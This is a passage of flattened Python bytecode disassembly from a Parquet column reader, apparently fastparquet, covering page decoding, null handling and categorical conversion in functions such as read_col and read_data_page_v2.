LOAD_FAST raw_bytes LOAD_FAST pagefile LOAD_METHOD tell CALL_METHOD LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST outbytes LOAD_GLOBAL len LOAD_FAST outbytes CALL_FUNCTION LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_ATTR nbytes COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST outbytes LOAD_FAST row_filter BINARY_SUBSCR LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_METHOD view LOAD_CONST 'uint8' CALL_METHOD LOAD_FAST row_filter STORE_SUBSCR JUMP_FORWARD to 1486 LOAD_FAST data_header2 LOAD_ATTR num_nulls LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST outbytes LOAD_FAST row_filter BINARY_SUBSCR LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST row_filter STORE_SUBSCR JUMP_FORWARD to 1486 LOAD_FAST row_filter LOAD_GLOBAL Ellipsis COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST outbytes LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST nulls UNARY_INVERT STORE_SUBSCR JUMP_FORWARD to 1460 LOAD_FAST outbytes LOAD_FAST nulls UNARY_INVERT LOAD_FAST row_filter BINARY_MULTIPLY BINARY_SUBSCR LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST nulls LOAD_FAST row_filter BINARY_SUBSCR UNARY_INVERT STORE_SUBSCR LOAD_CONST -1 LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST nulls LOAD_FAST row_filter BINARY_SUBSCR STORE_SUBSCR JUMP_FORWARD to 1660 LOAD_FAST data_header2 LOAD_ATTR num_nulls LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL encoding LOAD_ATTR read_rle_bit_packed_hybrid LOAD_FAST pagefile LOAD_FAST bit_width LOAD_FAST uncompressed_page_size LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_METHOD view LOAD_CONST 'uint8' CALL_METHOD CALL_METHOD LOAD_FAST bit_width LOAD_CONST ('itemsize',) CALL_FUNCTION POP_TOP JUMP_FORWARD to 1660 LOAD_GLOBAL np LOAD_METHOD empty LOAD_FAST data_header2 LOAD_ATTR num_values LOAD_FAST assign LOAD_ATTR dtype CALL_METHOD STORE_FAST temp LOAD_GLOBAL encoding LOAD_ATTR read_rle_bit_packed_hybrid LOAD_FAST pagefile LOAD_FAST bit_width LOAD_FAST uncompressed_page_size LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST temp LOAD_METHOD view LOAD_CONST 'uint8' CALL_METHOD CALL_METHOD LOAD_FAST bit_width LOAD_CONST ('itemsize',) CALL_FUNCTION POP_TOP LOAD_FAST nullable EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST None LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST nulls LOAD_FAST row_filter BINARY_SUBSCR STORE_SUBSCR LOAD_FAST temp LOAD_FAST row_filter BINARY_SUBSCR LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST nulls LOAD_FAST row_filter BINARY_SUBSCR UNARY_INVERT STORE_SUBSCR EXTENDED_ARG JUMP_FORWARD to 2240 LOAD_FAST data_header2 LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR PLAIN_DICTIONARY LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE_DICTIONARY BUILD_LIST COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST data_header2 LOAD_ATTR is_compressed EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cmd LOAD_ATTR codec JUMP_FORWARD to 1704 LOAD_CONST 'UNCOMPRESSED' STORE_FAST codec LOAD_GLOBAL np LOAD_METHOD frombuffer LOAD_FAST infile LOAD_METHOD read LOAD_FAST size CALL_METHOD LOAD_CONST 'uint8' CALL_METHOD STORE_FAST compressed_bytes LOAD_GLOBAL decompress_data LOAD_FAST compressed_bytes LOAD_FAST uncompressed_page_size LOAD_FAST codec CALL_FUNCTION STORE_FAST raw_bytes LOAD_GLOBAL np LOAD_ATTR empty LOAD_FAST n_values LOAD_CONST 'uint32' LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST out LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST raw_bytes CALL_METHOD STORE_FAST pagefile LOAD_FAST pagefile LOAD_METHOD read_byte CALL_METHOD STORE_FAST bit_width LOAD_GLOBAL encoding LOAD_ATTR read_rle_bit_packed_hybrid LOAD_FAST pagefile LOAD_FAST bit_width LOAD_FAST uncompressed_page_size LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST out LOAD_METHOD view LOAD_CONST 'uint8' CALL_METHOD CALL_METHOD LOAD_CONST 4 LOAD_CONST ('itemsize',) CALL_FUNCTION POP_TOP LOAD_FAST max_rep EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL encoding LOAD_ATTR _assemble_objects LOAD_FAST assign LOAD_FAST idx LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST idx LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST data_header2 LOAD_ATTR num_rows BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST defi LOAD_FAST repi LOAD_FAST out LOAD_FAST dic LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_FAST max_def LOAD_CONST 0 LOAD_CONST ('d', 'null', 'null_val', 'max_defi', 'prev_i') CALL_FUNCTION POP_TOP LOAD_FAST idx LOAD_CONST 0 DUP_TOP BINARY_SUBSCR LOAD_FAST data_header2 LOAD_ATTR num_rows INPLACE_ADD ROT_THREE STORE_SUBSCR JUMP_FORWARD to 1994 LOAD_FAST data_header2 LOAD_ATTR num_nulls EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST nullable EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST assign LOAD_ATTR dtype LOAD_CONST 'O' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST None LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST nulls STORE_SUBSCR LOAD_FAST dic LOAD_FAST out BINARY_SUBSCR LOAD_FAST row_filter BINARY_SUBSCR LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST nulls LOAD_FAST row_filter BINARY_SUBSCR UNARY_INVERT STORE_SUBSCR JUMP_FORWARD to 1994 LOAD_FAST dic LOAD_FAST out BINARY_SUBSCR LOAD_FAST row_filter BINARY_SUBSCR LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST row_filter STORE_SUBSCR JUMP_FORWARD to 2240 LOAD_FAST data_header2 LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR DELTA_BINARY_PACKED COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST data_header2 LOAD_ATTR num_nulls LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'null delta-int not implemented' CALL_FUNCTION RAISE_VARARGS LOAD_FAST data_header2 LOAD_ATTR is_compressed EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cmd LOAD_ATTR codec JUMP_FORWARD to 2048 LOAD_CONST 'UNCOMPRESSED' STORE_FAST codec LOAD_GLOBAL decompress_data LOAD_GLOBAL np LOAD_METHOD frombuffer LOAD_FAST infile LOAD_METHOD read LOAD_FAST size CALL_METHOD LOAD_CONST 'uint8' CALL_METHOD LOAD_FAST uncompressed_page_size LOAD_FAST codec CALL_FUNCTION STORE_FAST raw_bytes LOAD_GLOBAL converts_inplace LOAD_FAST se CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL encoding LOAD_METHOD delta_binary_unpack LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST raw_bytes CALL_METHOD LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_METHOD view LOAD_CONST 'uint8' CALL_METHOD CALL_METHOD CALL_METHOD POP_TOP LOAD_GLOBAL convert LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST se CALL_FUNCTION POP_TOP JUMP_FORWARD to 2234 LOAD_GLOBAL np LOAD_ATTR empty LOAD_FAST data_header2 LOAD_ATTR num_values LOAD_CONST 'int32' LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST out LOAD_GLOBAL encoding LOAD_METHOD delta_binary_unpack LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST raw_bytes CALL_METHOD LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST out LOAD_METHOD view LOAD_CONST 'uint8' CALL_METHOD CALL_METHOD CALL_METHOD POP_TOP LOAD_GLOBAL convert LOAD_FAST out LOAD_FAST se CALL_FUNCTION LOAD_FAST row_filter BINARY_SUBSCR LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST row_filter STORE_SUBSCR JUMP_FORWARD to 2240 LOAD_GLOBAL NotImplementedError RAISE_VARARGS LOAD_FAST data_header2 LOAD_ATTR num_values RETURN_VALUE LOAD_FAST column LOAD_ATTR meta_data STORE_FAST cmd SETUP_EXCEPT to 24 LOAD_FAST schema_helper LOAD_METHOD schema_element LOAD_FAST cmd LOAD_ATTR path_in_schema CALL_METHOD STORE_FAST se POP_BLOCK JUMP_FORWARD to 56 DUP_TOP LOAD_GLOBAL KeyError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST None LOAD_FAST assign LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR LOAD_CONST None RETURN_VALUE END_FINALLY LOAD_GLOBAL min LOAD_FAST cmd LOAD_ATTR dictionary_page_offset JUMP_IF_TRUE_OR_POP LOAD_FAST cmd LOAD_ATTR data_page_offset LOAD_FAST cmd LOAD_ATTR data_page_offset BUILD_TUPLE CALL_FUNCTION STORE_FAST off LOAD_FAST infile LOAD_METHOD seek LOAD_FAST off CALL_METHOD POP_TOP LOAD_FAST infile LOAD_METHOD read LOAD_FAST cmd LOAD_ATTR total_compressed_size CALL_METHOD STORE_FAST column_binary LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST column_binary CALL_METHOD STORE_FAST infile LOAD_GLOBAL isinstance LOAD_FAST row_filter LOAD_GLOBAL np LOAD_ATTR ndarray CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST row_filter LOAD_METHOD sum CALL_METHOD JUMP_FORWARD to 134 LOAD_FAST cmd LOAD_ATTR num_values STORE_FAST rows LOAD_FAST use_cat POP_JUMP_IF_FALSE LOAD_CONST -1 STORE_FAST my_nan JUMP_FORWARD to 216 LOAD_FAST assign LOAD_ATTR dtype LOAD_ATTR kind LOAD_CONST ('i', 'u', 'b') COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL pd LOAD_ATTR NA STORE_FAST my_nan JUMP_FORWARD to 216 LOAD_FAST assign LOAD_ATTR dtype LOAD_ATTR kind LOAD_CONST 'f' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR nan STORE_FAST my_nan JUMP_FORWARD to 216 LOAD_FAST assign LOAD_ATTR dtype LOAD_ATTR kind LOAD_CONST ('M', 'm') COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST assign LOAD_ATTR dtype LOAD_METHOD type LOAD_CONST 'NaT' CALL_METHOD STORE_FAST my_nan JUMP_FORWARD to 216 LOAD_CONST None STORE_FAST my_nan LOAD_CONST 0 STORE_FAST num LOAD_CONST 0 BUILD_LIST STORE_FAST row_idx LOAD_CONST None STORE_FAST dic LOAD_CONST 0 STORE_FAST index_off EXTENDED_ARG SETUP_LOOP to 1522 LOAD_FAST num LOAD_FAST rows COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST infile LOAD_METHOD tell CALL_METHOD STORE_FAST off LOAD_GLOBAL ThriftObject LOAD_METHOD from_buffer LOAD_FAST infile LOAD_CONST 'PageHeader' CALL_METHOD STORE_FAST ph LOAD_FAST ph LOAD_ATTR type LOAD_GLOBAL parquet_thrift LOAD_ATTR PageType LOAD_ATTR DICTIONARY_PAGE COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL read_dictionary_page LOAD_FAST infile LOAD_FAST schema_helper LOAD_FAST ph LOAD_FAST cmd LOAD_FAST se LOAD_ATTR converted_type LOAD_CONST 0 COMPARE_OP == LOAD_CONST ('utf',) CALL_FUNCTION STORE_FAST dic2 LOAD_GLOBAL convert LOAD_FAST dic2 LOAD_FAST se CALL_FUNCTION STORE_FAST dic2 LOAD_FAST use_cat EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST dic LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST dic2 LOAD_FAST dic COMPARE_OP != LOAD_METHOD any CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'Attempt to read as categorical a columnwith multiple dictionary pages.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST dic2 STORE_FAST dic LOAD_FAST use_cat POP_JUMP_IF_FALSE LOAD_FAST dic LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_CONST <code object <listcomp> at 0x7fab81f0b4b0, file "f.py", line 596> LOAD_CONST 'read_col.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST cmd LOAD_ATTR key_value_metadata EXTENDED_ARG JUMP_IF_TRUE_OR_POP BUILD_LIST GET_ITER CALL_FUNCTION STORE_FAST ddt LOAD_FAST ddt EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ddt LOAD_CONST 0 BINARY_SUBSCR JUMP_FORWARD to 410 LOAD_CONST None STORE_FAST ddt LOAD_FAST catdef LOAD_ATTR _set_categories LOAD_GLOBAL pd LOAD_ATTR Index LOAD_FAST dic LOAD_FAST ddt LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_CONST True LOAD_CONST ('fastpath',) CALL_FUNCTION POP_TOP LOAD_GLOBAL np LOAD_METHOD iinfo LOAD_FAST assign LOAD_ATTR dtype CALL_METHOD LOAD_ATTR max LOAD_GLOBAL len LOAD_FAST dic CALL_FUNCTION COMPARE_OP < POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'Assigned array dtype (%s) cannot accommodate number of category labels (%i)' LOAD_FAST assign LOAD_ATTR dtype LOAD_GLOBAL len LOAD_FAST dic CALL_FUNCTION BUILD_TUPLE BINARY_MODULO CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE JUMP_FORWARD to 526 LOAD_FAST use_cat EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST dic LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL getattr LOAD_FAST catdef LOAD_CONST '_multiindex' LOAD_CONST False CALL_FUNCTION LOAD_CONST False COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST 'Attempt to load as categorical a column with no dictionary' CALL_FUNCTION RAISE_VARARGS LOAD_FAST ph LOAD_ATTR type LOAD_GLOBAL parquet_thrift LOAD_ATTR PageType LOAD_ATTR DATA_PAGE_V2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST num LOAD_GLOBAL read_data_page_v2 LOAD_FAST infile LOAD_FAST schema_helper LOAD_FAST se LOAD_FAST ph LOAD_ATTR data_page_header_v2 LOAD_FAST cmd LOAD_FAST dic LOAD_FAST assign LOAD_FAST num LOAD_FAST use_cat LOAD_FAST off LOAD_FAST ph LOAD_FAST row_idx LOAD_FAST selfmade LOAD_FAST row_filter LOAD_CONST ('selfmade', 'row_filter') CALL_FUNCTION INPLACE_ADD STORE_FAST num JUMP_ABSOLUTE LOAD_FAST selfmade EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL hasattr LOAD_FAST cmd LOAD_CONST 'statistics' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL getattr LOAD_FAST cmd LOAD_ATTR statistics LOAD_CONST 'null_count' LOAD_CONST 1 CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST skip_nulls JUMP_FORWARD to 634 LOAD_CONST False STORE_FAST skip_nulls LOAD_GLOBAL read_data_page LOAD_FAST infile LOAD_FAST schema_helper LOAD_FAST ph LOAD_FAST cmd LOAD_FAST skip_nulls LOAD_FAST selfmade LOAD_CONST ('selfmade',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST defi STORE_FAST rep STORE_FAST val LOAD_FAST schema_helper LOAD_METHOD max_definition_level LOAD_FAST cmd LOAD_ATTR path_in_schema CALL_METHOD STORE_FAST max_defi LOAD_GLOBAL isinstance LOAD_FAST row_filter LOAD_GLOBAL np LOAD_ATTR ndarray CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST index_off LOAD_GLOBAL len LOAD_FAST val CALL_FUNCTION BINARY_ADD STORE_FAST io LOAD_FAST row_filter LOAD_FAST index_off LOAD_FAST index_off LOAD_GLOBAL len LOAD_FAST val CALL_FUNCTION BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_METHOD sum CALL_METHOD LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST num LOAD_FAST defi LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST defi CALL_FUNCTION JUMP_FORWARD to 754 LOAD_GLOBAL len LOAD_FAST val CALL_FUNCTION INPLACE_ADD STORE_FAST num JUMP_ABSOLUTE LOAD_FAST defi LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST val LOAD_FAST row_filter LOAD_FAST index_off LOAD_FAST index_off LOAD_GLOBAL len LOAD_FAST defi CALL_FUNCTION BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST defi LOAD_FAST max_defi COMPARE_OP == BINARY_SUBSCR BINARY_SUBSCR STORE_FAST val LOAD_FAST defi LOAD_FAST row_filter LOAD_FAST index_off LOAD_FAST index_off LOAD_GLOBAL len LOAD_FAST defi CALL_FUNCTION BINARY_ADD BUILD_SLICE BINARY_SUBSCR BINARY_SUBSCR STORE_FAST defi JUMP_FORWARD to 852 LOAD_FAST val LOAD_FAST row_filter LOAD_FAST index_off LOAD_FAST index_off LOAD_GLOBAL len LOAD_FAST val CALL_FUNCTION BINARY_ADD BUILD_SLICE BINARY_SUBSCR BINARY_SUBSCR STORE_FAST val LOAD_FAST rep LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST rep LOAD_FAST row_filter LOAD_FAST index_off LOAD_FAST index_off LOAD_GLOBAL len LOAD_FAST defi CALL_FUNCTION BINARY_ADD BUILD_SLICE BINARY_SUBSCR BINARY_SUBSCR JUMP_FORWARD to 888 LOAD_FAST rep STORE_FAST rep LOAD_FAST io STORE_FAST index_off LOAD_FAST rep LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST assign LOAD_ATTR dtype LOAD_ATTR kind LOAD_CONST 'O' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Column contains repeated value, must use object type, but has assumed type: %s' LOAD_FAST assign LOAD_ATTR dtype BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_FAST ph LOAD_ATTR data_page_header LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR PLAIN_DICTIONARY LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE_DICTIONARY BUILD_LIST COMPARE_OP in STORE_FAST d LOAD_FAST use_cat EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST d EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL hasattr LOAD_FAST catdef LOAD_CONST '_set_categories' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL ValueError LOAD_CONST 'Returning category type requires all chunks to use dictionary encoding; column: %s' LOAD_FAST cmd LOAD_ATTR path_in_schema CALL_FUNCTION RAISE_VARARGS LOAD_FAST rep LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST schema_helper LOAD_METHOD is_required LOAD_FAST cmd LOAD_ATTR path_in_schema LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD UNARY_NOT STORE_FAST null LOAD_FAST se LOAD_ATTR repetition_type LOAD_GLOBAL parquet_thrift LOAD_ATTR FieldRepetitionType LOAD_ATTR REQUIRED COMPARE_OP != STORE_FAST null_val LOAD_CONST 1 LOAD_GLOBAL encoding LOAD_METHOD _assemble_objects LOAD_FAST assign LOAD_FAST defi LOAD_FAST rep LOAD_FAST val LOAD_FAST dic LOAD_FAST d LOAD_FAST null LOAD_FAST null_val LOAD_FAST max_defi LOAD_FAST row_idx LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD BINARY_ADD LOAD_FAST row_idx LOAD_CONST 0 STORE_SUBSCR EXTENDED_ARG JUMP_FORWARD to 1488 LOAD_FAST defi LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_GLOBAL len LOAD_FAST defi CALL_FUNCTION BINARY_ADD BUILD_SLICE BINARY_SUBSCR STORE_FAST part LOAD_GLOBAL isinstance LOAD_FAST part LOAD_ATTR dtype LOAD_GLOBAL pd LOAD_ATTR core LOAD_ATTR arrays LOAD_ATTR masked LOAD_ATTR BaseMaskedDtype CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST defi LOAD_FAST max_defi COMPARE_OP != LOAD_FAST part LOAD_ATTR _mask LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR LOAD_FAST part LOAD_ATTR _data STORE_FAST part JUMP_FORWARD to 1182 LOAD_FAST part LOAD_ATTR dtype LOAD_ATTR kind LOAD_CONST 'O' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST my_nan LOAD_FAST part LOAD_FAST defi LOAD_FAST max_defi COMPARE_OP != STORE_SUBSCR LOAD_FAST d EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST use_cat EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST dic LOAD_FAST val BINARY_SUBSCR LOAD_FAST part LOAD_FAST defi LOAD_FAST max_defi COMPARE_OP == STORE_SUBSCR JUMP_FORWARD to 1256 LOAD_FAST use_cat EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL convert LOAD_FAST val LOAD_FAST se LOAD_FAST assign LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_FAST part LOAD_FAST defi LOAD_FAST max_defi COMPARE_OP == STORE_SUBSCR JUMP_FORWARD to 1256 LOAD_FAST val LOAD_FAST part LOAD_FAST defi LOAD_FAST max_defi COMPARE_OP == STORE_SUBSCR JUMP_FORWARD to 1488 LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_GLOBAL len LOAD_FAST val CALL_FUNCTION BINARY_ADD BUILD_SLICE BINARY_SUBSCR STORE_FAST piece LOAD_GLOBAL isinstance LOAD_FAST piece LOAD_ATTR dtype LOAD_GLOBAL pd LOAD_ATTR core LOAD_ATTR arrays LOAD_ATTR masked LOAD_ATTR BaseMaskedDtype CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST piece LOAD_ATTR _data STORE_FAST piece LOAD_FAST use_cat EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST d EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL convert LOAD_FAST val LOAD_FAST se LOAD_FAST assign LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST val SETUP_EXCEPT to 1350 LOAD_GLOBAL pd LOAD_METHOD Categorical LOAD_FAST val CALL_METHOD STORE_FAST i POP_BLOCK JUMP_FORWARD to 1376 POP_TOP POP_TOP POP_TOP LOAD_GLOBAL pd LOAD_METHOD Categorical LOAD_FAST val LOAD_METHOD tolist CALL_METHOD CALL_METHOD STORE_FAST i POP_EXCEPT JUMP_FORWARD to 1376 END_FINALLY LOAD_FAST catdef LOAD_ATTR _set_categories LOAD_GLOBAL pd LOAD_METHOD Index LOAD_FAST i LOAD_ATTR categories CALL_METHOD LOAD_CONST True LOAD_CONST ('fastpath',) CALL_FUNCTION POP_TOP LOAD_FAST i LOAD_ATTR codes LOAD_FAST piece LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR JUMP_FORWARD to 1488 LOAD_FAST d EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST use_cat EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST dic LOAD_FAST val BINARY_SUBSCR LOAD_FAST piece LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR JUMP_FORWARD to 1488 LOAD_FAST use_cat EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL convert LOAD_FAST val LOAD_FAST se LOAD_FAST assign LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_FAST piece LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR JUMP_FORWARD to 1488 LOAD_FAST val LOAD_FAST piece LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR LOAD_FAST num LOAD_FAST defi LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST defi CALL_FUNCTION JUMP_FORWARD to 1514 LOAD_GLOBAL len LOAD_FAST val CALL_FUNCTION INPLACE_ADD STORE_FAST num JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 STORE_FAST kv LOAD_FAST kv LOAD_ATTR key LOAD_CONST b'label_dtype' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST kv LOAD_ATTR value LOAD_METHOD decode CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST assign STORE_DEREF out LOAD_GLOBAL set LOAD_CLOSURE out BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab81f0b540, file "f.py", line 739> LOAD_CONST 'read_row_group_arrays.<locals>.<genexpr>' MAKE_FUNCTION LOAD_DEREF out GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST remains BUILD_MAP STORE_FAST maps EXTENDED_ARG SETUP_LOOP to 314 LOAD_FAST rg LOAD_ATTR columns GET_ITER EXTENDED_ARG FOR_ITER to 312 STORE_FAST column LOAD_GLOBAL _is_list_like LOAD_FAST schema_helper LOAD_FAST column CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL _is_map_like LOAD_FAST schema_helper LOAD_FAST column CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST '.' LOAD_METHOD join LOAD_FAST column LOAD_ATTR meta_data LOAD_ATTR path_in_schema LOAD_CONST None LOAD_CONST -2 BUILD_SLICE BINARY_SUBSCR CALL_METHOD STORE_FAST name JUMP_FORWARD to 104 LOAD_CONST '.' 